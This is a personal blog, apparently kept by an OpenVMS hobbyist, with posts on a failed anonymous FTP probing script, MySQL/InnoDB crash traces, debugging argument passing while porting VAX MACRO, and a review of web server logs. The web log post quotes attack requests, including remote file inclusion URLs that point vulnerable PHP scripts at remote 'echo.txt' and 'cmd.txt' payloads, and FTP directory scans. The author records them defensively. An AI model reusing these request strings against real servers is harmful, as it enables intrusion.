Posted on

Another FTP script

Another FTP script
They come and go. There has been another attempt to access Diana as if it were a Windows or Linux box:

%%%%%%%%%%% OPCOM 10-OCT-2007 22:56:22.43 %%%%%%%%%%%
Message from user TCPIP$FTP on DIANA
User Name: anonymous
Source: s12.mgw-servers.de
Status: NOPRIV -- File access violation
Object: WEB_DISK2:[public.anonymous.071010235608p]

It took less than a minute.
The script starts with creating a directory – whci, of course, fails:

%TCPIP-I-FTP_SESCON, FTP SERVER: session connection from s12.mgw-servers.de at 10-OCT-2007 22:56:21.45
%TCPIP-I-FTP_NODE, client host name: s12.mgw-servers.de
%TCPIP-I-FTP_USER, user name: anonymous
%TCPIP-I-FTP_OBJ, object: WEB_DISK2:[public.anonymous.071010235608p]
%TCPIP-I-FTP_CHINFO, TCPIP$FTPC0000D: Failed to create directory
%SYSTEM-F-NOPRIV, insufficient privilege or object protection violation
%TCPIP-I-FTP_NODE, client host name: s12.mgw-servers.de

and next, a larger list of directories is accessed:

%TCPIP-I-FTP_USER, user name: anonymous
%TCPIP-I-FTP_OBJ, object: /incoming/
%TCPIP-I-FTP_OBJ, object: /upload/
%TCPIP-I-FTP_OBJ, object: /public/incoming/
%TCPIP-I-FTP_OBJ, object: /pub/incoming/
%TCPIP-I-FTP_OBJ, object: /_vti_pvt/
%TCPIP-I-FTP_OBJ, object: /_vti_txt/
%TCPIP-I-FTP_OBJ, object: /_vti_log/
%TCPIP-I-FTP_OBJ, object: /wwwroot/
%TCPIP-I-FTP_OBJ, object: /anonymous/
%TCPIP-I-FTP_OBJ, object: /public/
%TCPIP-I-FTP_OBJ, object: /pub/
%TCPIP-I-FTP_OBJ, object: /outgoing/
%TCPIP-I-FTP_OBJ, object: /temp/
%TCPIP-I-FTP_OBJ, object: /tmp/
%TCPIP-I-FTP_OBJ, object: /anonymous/_vti_pvt/
%TCPIP-I-FTP_OBJ, object: /anonymous/incoming/
%TCPIP-I-FTP_OBJ, object: /mailroot/
%TCPIP-I-FTP_OBJ, object: /ftproot/
%TCPIP-I-FTP_OBJ, object: /anonymous/pub/
%TCPIP-I-FTP_OBJ, object: /anonymous/public/
%TCPIP-I-FTP_OBJ, object: /_vti_cnf/
%TCPIP-I-FTP_OBJ, object: /anonymous/_vti_cnf/
%TCPIP-I-FTP_OBJ, object: /images/
%TCPIP-I-FTP_OBJ, object: /_private/
%TCPIP-I-FTP_OBJ, object: /cgi-bin/
%TCPIP-I-FTP_OBJ, object: /usr/
%TCPIP-I-FTP_OBJ, object: /usr/incoming/
%TCPIP-I-FTP_OBJ, object: /home/
%TCPIP-I-FTP_OBJ, object: /public_html/
%TCPIP-I-FTP_OBJ, object: /public_ftp/
%TCPIP-I-FTP_OBJ, object: /_vti_cnf/
%TCPIP-I-FTP_OBJ, object: /tagged/
%TCPIP-I-FTP_OBJ, object: / /
%TCPIP-I-FTP_OBJ, object: /%/
%TCPIP-I-FTP_OBJ, object: /data/
%TCPIP-I-FTP_OBJ, object: /inetpub/
%TCPIP-I-FTP_OBJ, object: /Tagged/
%TCPIP-I-FTP_OBJ, object: /TaGGeD/
%TCPIP-I-FTP_OBJ, object: /income/
%TCPIP-I-FTP_OBJ, object: /recieved/
%TCPIP-I-FTP_OBJ, object: /download/
%TCPIP-I-FTP_OBJ, object: /My Shared Folder/
%TCPIP-I-FTP_OBJ, object: /_kurdt/
%TCPIP-I-FTP_OBJ, object: /.htaccess/
%TCPIP-I-FTP_OBJ, object: /.private/
%TCPIP-I-FTP_OBJ, object: /~tmp/
%TCPIP-I-FTP_OBJ, object: /~temp/
%TCPIP-I-FTP_OBJ, object: /html/
%TCPIP-I-FTP_OBJ, object: /www/
%TCPIP-I-FTP_OBJ, object: /web/
%TCPIP-I-FTP_OBJ, object: /anonymous/_vti_txt/
%TCPIP-I-FTP_OBJ, object: /anonymous/_vti_log/
%TCPIP-I-FTP_OBJ, object: /anonymous/outgoing/
%TCPIP-I-FTP_OBJ, object: /mailroot/
%TCPIP-I-FTP_OBJ, object: /_private/
%TCPIP-I-FTP_OBJ, object: /_vti_cfg/
%TCPIP-I-FTP_OBJ, object: /site/
%TCPIP-I-FTP_OBJ, object: /page/
%TCPIP-I-FTP_OBJ, object: /ftp/
%TCPIP-I-FTP_OBJ, object: /new/
%TCPIP-I-FTP_OBJ, object: /root/
%TCPIP-I-FTP_OBJ, object: /stuff/
%TCPIP-I-FTP_OBJ, object: /dir/
%TCPIP-I-FTP_OBJ, object: /dirs/
%TCPIP-I-FTP_OBJ, object: /pass/
%TCPIP-I-FTP_OBJ, object: /log/
%TCPIP-I-FTP_OBJ, object: /folder/
%TCPIP-I-FTP_OBJ, object: /recycler/
%TCPIP-I-FTP_OBJ, object: /sql/
%TCPIP-I-FTP_OBJ, object: /MS_OFFICE2K/
%TCPIP-I-FTP_OBJ, object: /Printer Drivers/
%TCPIP-I-FTP_OBJ, object: /ww/
%TCPIP-I-FTP_OBJ, object: /webctrlsamp/
%TCPIP-I-FTP_OBJ, object: /web/
%TCPIP-I-FTP_OBJ, object: /bin/
%TCPIP-I-FTP_OBJ, object: /OFFICE/
%TCPIP-I-FTP_OBJ, object: /bilder/
%TCPIP-I-FTP_OBJ, object: /admin/
%TCPIP-I-FTP_OBJ, object: /file/
%TCPIP-I-FTP_OBJ, object: /img/
%TCPIP-I-FTP_OBJ, object: /logging/
%TCPIP-I-FTP_OBJ, object: /website/
%TCPIP-I-FTP_OBJ, object: /site/
%TCPIP-I-FTP_OBJ, object: /inetpub/wwwroot/
%TCPIP-I-FTP_OBJ, object: /inetpub/www/
%TCPIP-I-FTP_OBJ, object: /wwwroot/www/
%TCPIP-I-FTP_OBJ, object: /dump/
%TCPIP-I-FTP_OBJ, object: /de/
%TCPIP-I-FTP_OBJ, object: /sitedump/
%TCPIP-I-FTP_OBJ, object: /archives/
%TCPIP-I-FTP_OBJ, object: /WUTemp/
%TCPIP-I-FTP_OBJ, object: /win.asp/
%TCPIP-I-FTP_OBJ, object: /inetpub/
%TCPIP-I-FTP_OBJ, object: /en/
%TCPIP-I-FTP_OBJ, object: /lang/
%TCPIP-I-FTP_OBJ, object: /language/
%TCPIP-I-FTP_OBJ, object: /WinNT/
%TCPIP-I-FTP_OBJ, object: /WINDOWS/

All fail because of ” invalid directory syntax”
It might be that the script tries to PUSH data onto the system, not GET. The log does not mention it.
I tried the source. This seems to be a start-up company, stating to be (translated from German) “A company of today with the technology and know-how of tomorrow”. Their website isn’t ready yet.
Nor is their security.
If this is tomorrow’s technology and know-how, I have no confidence in it. My quite basic, 30-year old OpenVMS installation does a much better job without the fancy stuff.

I have signalled the attempt to them. Wait and seen what comes out of it.
UPDATE
I got a message stating it should be sent to their ABUSE address, so I did. From there, I got the message the message was forwarded to their customer. It might be genuine but what if that customer caused the problems?

Posted on

10-Oct-2007

MySQL crashed
… several times since I chnaged some system parameters.
First, immediately during startup (elapsed time half a minute) after first reboot:

071003 22:45:33 InnoDB: Starting log scan based on checkpoint at
InnoDB: log sequence number 0 38153825.
InnoDB: Doing recovery: scanned up to log sequence number 0 38153825
InnoDB: Last MySQL binlog file position 0 4, file name ./diana-bin.000011
071003 22:45:36 InnoDB: Flushing modified pages from the buffer pool...
071003 22:45:37 InnoDB: Started; log sequence number 0 38153825
071003 22:45:37 [ERROR] After InnoDB crash recovery, checking if the binary log
'./diana-bin.000011' contains rolled back transactions which must be removed from it...
/$116$DKA100/000000/WEB/MYSQL/MYSQL/VMS/BIN/mysqld.exe:
File './diana-bin.000011' not found (Errcode: 2)
071003 22:45:37 [ERROR] Could not open the binary log './diana-bin.000011' for truncation.
InnoDB: Error: tried to read 16384 bytes at offset 0 6012928.
InnoDB: Was only able to read -1.
071003 22:45:38 InnoDB: Operating system error number 12 in a file operation.
InnoDB: Error number 12 means 'not enough core'.
InnoDB: Some operating system error numbers are described at
InnoDB: http://dev.mysql.com/doc/mysql/en/Operating_System_error_codes.html
InnoDB: File operation call: 'read'.
InnoDB: Cannot continue operation.

After restart it crashed again during startup:

$ Set NoOn
$ VERIFY = F$VERIFY(F$TRNLNM("SYLOGIN_VERIFY"))
071003 23:03:41 InnoDB: Operating system error number 12 in a file operation.
InnoDB: Error number 12 means 'not enough core'.
InnoDB: Some operating system error numbers are described at
InnoDB: http://dev.mysql.com/doc/mysql/en/Operating_System_error_codes.html
InnoDB: File name /database/mysql41/ibdata1
InnoDB: File operation call: 'create'.
InnoDB: Cannot continue operation.

I restarted it once again, and next, the server ran for almost 4 days and crahed – again:

%CMA-F-EXIT_THREAD, current thread has been requested to exit
%TRACE-F-TRACEBACK, symbolic stack dump follows
image module routine line rel PC abs PC
InnoDB: Thread 117396224 stopped in file MYSQL_ROOT:[innobase.include]sync0sync
%SYSTEM-F-ACCVIO, access violation, reason mask=00, virtual address=00000000000
%TRACE-F-TRACEBACK, symbolic stack dump follows
image module routine line rel PC abs PC
PTHREAD$RTL 0 000000000004381C FFFFFFFF81E6181C
PTHREAD$RTL 0 000000000006EB58 FFFFFFFF81E8CB58
0 FFFFFFFF8016EFB4 FFFFFFFF8016EFB4
0 FFFFFFFF80376E0C FFFFFFFF80376E0C
DECC$SHR_EV56 0 00000000001D2DC4 FFFFFFFF82066DC4
DECC$SHR_EV56 0 00000000001D2A8C FFFFFFFF82066A8C
0 FFFFFFFF8018776C FFFFFFFF8018776C
0 FFFFFFFF8018776C FFFFFFFF8018776C
—– above condition handler called with exception 0000000C:
%SYSTEM-F-ACCVIO, access violation, reason mask=00, virtual address=00000000000
—– end of exception message
0 FFFFFFFF800A911C FFFFFFFF800A911C
DECC$SHR_EV56 0 0000000000108364 FFFFFFFF81F9C364
DECC$SHR_EV56 0 0000000000108560 FFFFFFFF81F9C560
DECC$SHR_EV56 0 0000000000142D74 FFFFFFFF81FD6D74
DECC$SHR_EV56 0 0000000000142118 FFFFFFFF81FD6118
DECC$SHR_EV56 0 000000000013BBA4 FFFFFFFF81FCFBA4
InnoDB: Thread 87978752 stopped in file MYSQL_ROOT:[innobase.include]sync0sync.
mysqld MY_PTHREAD sigwait 23808 0000000000000408 00000000003C5108
mysqld OS0FILE os_aio_simulated_handle
36642 0000000000005AB4 00000000002CE344
InnoDB: Thread 87929600 stopped in file MYSQL_ROOT:[innobase.os]os0sync.c;1 lin
mysqld mysqld signal_hand 86616 0000000000002AE8 0000000000232AE8
PTHREAD$RTL 0 000000000005773C FFFFFFFF81E7573C
PTHREAD$RTL 0 0000000000043940 FFFFFFFF81E61940
0 0000000000000000 0000000000000000
PTHREAD$RTL ? ?
0 FFFFFFFF80377CE4 FFFFFFFF80377CE4
%TRACE-I-END, end of TRACE stack dump
mysqld FIL0FIL fil_aio_wait 45034 000000000000E80C 000000000028D12C
mysqld SRV0START io_handler_thread 57590 00000000000009D4 0000000000317984
PTHREAD$RTL 0 000000000005773C FFFFFFFF81E7573C
PTHREAD$RTL 0 0000000000043940 FFFFFFFF81E61940
0 0000000000000000 0000000000000000
PTHREAD$RTL ? ?
0 FFFFFFFF80377CE4 FFFFFFFF80377CE4
%TRACE-I-END, end of TRACE stack dump
%CMA-F-EXIT_THREAD, current thread has been requested to exit

InnoDB: Thread 87929600 stopped in file MYSQL_ROOT:[innobase.os]os0sync.c;1 line 501
InnoDB: Thread 87978752 stopped in file MYSQL_ROOT:[innobase.include]sync0sync.ic;1 line 111
%CMA-F-EXIT_THREAD, current thread has been requested to exit
%TRACE-F-TRACEBACK, symbolic stack dump follows
image module routine line rel PC abs PC
PTHREAD$RTL 0 000000000004381C FFFFFFFF81E6181C
PTHREAD$RTL 0 000000000006EB58 FFFFFFFF81E8CB58
0 FFFFFFFF8016EFB4 FFFFFFFF8016EFB4
0 FFFFFFFF80376E0C FFFFFFFF80376E0C
DECC$SHR_EV56 0 00000000001D2DC4 FFFFFFFF82066DC4
DECC$SHR_EV56 0 00000000001D2A8C FFFFFFFF82066A8C
0 FFFFFFFF8018776C FFFFFFFF8018776C
0 FFFFFFFF8018776C FFFFFFFF8018776C
—– above condition handler called with exception 0000000C:
%SYSTEM-F-ACCVIO, access violation, reason mask=00, virtual address=0000000000000000, PC=000000000028CDE4, PS=0000001B
—– end of exception message
0 FFFFFFFF800A911C FFFFFFFF800A911C
mysqld FIL0FIL fil_io 44926 000000000000E4C4 000000000028CDE4

and the last one happend yesterday:

InnoDB: Thread 87929600 stopped in file MYSQL_ROOT:[innobase.os]os0sync.c;1 lin
InnoDB: Thread 87978752 stopped in file MYSQL_ROOT:[innobase.include]sync0sync.
%CMA-F-EXIT_THREAD, current thread has been requested to exit
%TRACE-F-TRACEBACK, symbolic stack dump follows
image module routine line rel PC abs PC
PTHREAD$RTL 0 000000000004381C FFFFFFFF81E6181C
PTHREAD$RTL 0 000000000006EB58 FFFFFFFF81E8CB58
0 FFFFFFFF8016EFB4 FFFFFFFF8016EFB4
0 FFFFFFFF80376E0C FFFFFFFF80376E0C
DECC$SHR_EV56 0 00000000001D2DC4 FFFFFFFF82066DC4
DECC$SHR_EV56 0 00000000001D2A8C FFFFFFFF82066A8C
0 FFFFFFFF8018776C FFFFFFFF8018776C
0 FFFFFFFF8018776C FFFFFFFF8018776C
----- above condition handler called with exception 0000000C:
%SYSTEM-F-ACCVIO, access violation, reason mask=00, virtual address=00000000000
----- end of exception message
0 FFFFFFFF800A911C FFFFFFFF800A911C
mysqld FIL0FIL fil_io 44926 000000000000E4C4 000000000028CDE4

The first ones may have to do with the IDE server of Distributed Netbeans running: there might indeed have been too little memory, all consumed by that stuff.
The last ones may have been the result of the WEBES issues – again, a set of JAVA programs consuming lots of memory.

Keep the fingers crossed….

PHP problems
It’s not just MySQL. PHP suffers of access problems as well since these changes: complains of files that cannot be opened, and on second invocation, nothing is wrong…

I’ll have to reconsider the cahnges and eventually turn them back – bit on the other hand, I may need at least some of the resources when RdB is installed.

Posted on

Porting VAX macro – 2

The idea doesn’t work either – for the very same reason.
lib$get_curr_invo_context carries one parameter – and that again, overwrites R16 and R17: (In the invo-context structure I defined, IREG is an a1-based array, so the index is one up from the registernumber, so R16 is store in IREG(17). But the principle stayes teh same):

Retstat = lib$get_curr_invo_context (invo_context)

and again, R16 and R17 are gone:

NUMARG\SCS_NUMARG\INVO_CONTEXT.IREG(17): 196736
DBG%gt; exa invo_context.IREG(18)
SCS_NUMARG\NUMARG\INVO_CONTEXT.IREG(18): 196984
DBG%gt; exa @invo_context.IREG(17)
SCS_NUMARG\NUMARG\INVO_CONTEXT.CONTEXT_LENGTH: 544
DBG%gt; exa @invo_context.IREG(18)
SCS_NUMARG\NUMARG\INVO_CONTEXT.IREG(28): 1240184
DBG%gt;

It’s only R18 that holds the value I’m interested in:

DBG%gt; exa @invo_context.IREG(19)
A\A\XXX: 3
DBG%gt;

Examaning the regsiters on routine entry show the right values:

DBG%gt; exa @R16
A\A\X: 1
DBG%gt; exa @R17
A\A\XX: 2
DBG%gt; exa @R18
A\A\XXX: 3
DBG%gt; exa @R19
A\A\XXXX: 4
DBG%gt; exa @R20
%DEBUG-E-NOACCESSR, no read access to address 0000000000000004
DBG%gt;

I think I;ll have to adapt my code….It’s easier that way

Posted on

Porting VAX macro

To determine the arguments passed to a routine, VAX is easy: the first thing to do is to call a routine that will look back one level, using the frame pointer, to examine the number of arguments, and next traverse the call frame (on stack) to see if any entry is zeroed out (no parameter), or contains a value (parameter present), updating a mask.
Written in VAX MACRO, obviously. And incompilable on Alpha (because the reference of FP).
Nor very useful, either. On Alpha (and Itanium) it’s not that straight forward.
I asked Hoff whether he knows something to solve it – and he gave me some clues, and I went on from there and tried this:


program A
integer*4 x1,x2,x3,4

x1 = 1
x2 = 2
x3 = 3
x4 = 4

Call B (x1,x2,x3,x4) ! ---> R16..r19 (1)

end

Subroutine b (D,E,F,G) ! < --- R16..R19 integer*4 D,E,F,G integer*4 n,m call numarg (n,m) ! ---> R16..R17 (2)

end

subroutine numarg (nmb, msk) ! < ---- r16..R17 integer*4 nmb, msk integer*4 s integer*4 lib$get_curr_inco_context integer*4 lib$get_prev_inco_context external lib$get_curr_inco_context external lib$get_prev_inco_context C invoctxt defined according Calling Standfard manual record /incoctxt/ invo C initilaze invo to be all zeros C get current conetxt (==> numarg itself)

s = lib$get_curr_invo_context (invo) (A)

C get previous context (==> numarg caller)
C (B, in this case)

s = lib$get_prev_invo_conetxt (invo) (B)

after (1), R16..R19 refer to X1, X2, X3 and X4.
After (2), r16..R17 refer to nmb and msk, R18..R19 refer to X3 and X4

At call (A), invo.procedure_descriptor refers numarg, R29 and R30 are the correspionding FP and SP, and R16 and r17 refer to nbr and Msk – quite obvious, because that has been the present call (2)

At call (B), invo.procedure_descriptor refers to B, and R29 and R30 to corresponding FP and SP, which is correct. However, the other registers are unchnaged. Ovious as well, since references to x1 and X2 (in R16 and R17) have been overwitten by call (2) – these have not been saved in memory.

A simple solution: do NOT overwrite the registers, that is: do NOT pass any arguments. It’s not needed since the routine rertrieves data from the sytem without other data than it’s own invokation. It can pass the data in a structure:

Include the following code where numarg is called:

structure /numargdata/
integer*4 nmbr
integer*4 mask
end structure

record /numargdata/ args

record /numargdata/ numarg
external numarg

Change the caller:


args = numarg ()
nmbr = args.nmbr
mask = args.msk

and numrag itself should be changed accordingly. I expect R16..R21 be unchanged.

Or even simpler: just return the mask and forget about the number. Even simpler:


integer*4 numarg
external numarg

msk = numarg ()

Do I need the number ? It is known by design…- and if I really need it, it is at least the highest bit set in the mask – the rest isn’t present anyway and should not be accessed.

Though rework of the code, using OPTIONAL and PRESENT (due to new standards) is preferable, it’s fine for undertanding what goes on in the system.

(To Be Continued)

Posted on

Web server log examined

Since 22-Sep-2007, there have been attempts to get to Yahoo.com in the Uk – via this server:

"GET http://uk.yahoo.com/ HTTP/1.1"

The amount increases, of all rejected requests this is now the most common one. All “403” of course.
The number of W00tW00t requests increases as well, but all on HTTP/1.1 – and ewach fails with error 400. Have to findf out why, because the HTTP/1.0 succeeds.

And there are quite a lot of requests to cgi-bin/query. Stupid ones, but trying to bypass something?

Building Micrsoft stuff won’t work, dudes:

GET /cgi-bin/query/_vti_bin/owssvr.dll?UL=1&ACT=4&BUILD=6551&STRMVER=4&CAPREQ=0 HTTP/1.1
GET /MSOffice/cltreq.asp HTTP/1.1
GET /cgi-bin/query/MSOffice/cltreq.asp?UL=1&ACT=4&BUILD=6551&STRMVER=4&CAPREQ=0 HTTP/1.1

And trying to bypass securtity and monitoring using the server won’t work either:
GET /cgi-bin/query/openVMS/HOW_TO/CommunigatePro/oneadmin/config.php?path[docroot]=http://www.coverbands.info/images/echo.txt? HTTP/1.1
GET /cgi-bin/query/oneadmin/config.php?path[docroot]=http://www.coverbands.info/images/echo.txt? HTTP/1.1
GET /cgi-bin/query/oneadmin/config.php?path[docroot]=http://www.coverbands.info/images/echo.txt? HTTP/1.1
...
GET /cgi-bin/query/openVMS/HOW_TO/PHP/root.php?target=http://asantecaravans.co.za/content/rss1/cmd.txt? HTTP/1.1
GET /cgi-bin/query/root.php?target=http://asantecaravans.co.za/content/rss1/cmd.txt? HTTP/1.1
GET /cgi-bin/query/root.php?target=http://asantecaravans.co.za/content/rss1/cmd.txt? HTTP/1.1

I didn’t look into echo.txt and cmd.txt, but these are likely scripts.